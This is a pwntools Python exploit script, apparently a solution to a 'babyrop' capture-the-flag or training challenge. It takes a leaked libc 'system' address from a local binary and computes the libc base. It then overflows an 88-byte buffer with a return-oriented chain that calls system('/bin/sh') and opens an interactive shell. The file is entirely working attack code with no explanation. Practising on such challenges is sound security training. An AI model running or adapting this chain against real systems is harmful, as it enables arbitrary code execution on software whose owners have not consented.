#!/usr/bin/python3

from pwn import *
import re

"""
patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_7_0
"""

context.binary = target = ELF("./babyrop_level_7_0", checksec=False)
libc = target.libc
r = process()

# funcs
s = lambda a: r.sendline(a)

# gadgets
pop_rdi = 0x402883

# buf
r.recvuntil(b"[LEAK]")
system = int(re.findall(r'0x[a-z0-9]+', r.recvlineS())[0], 16)
log.info("system: %#x", system)
libc.address = system - libc.sym.system
log.info("libc: %#x", libc.address)
sh = next(libc.search(b"/bin/sh"))

# pop
buf = b"A"*88
buf += p64(pop_rdi)
buf += p64(sh)
buf += p64(pop_rdi+1)
buf += p64(system)
s(buf)

r.interactive()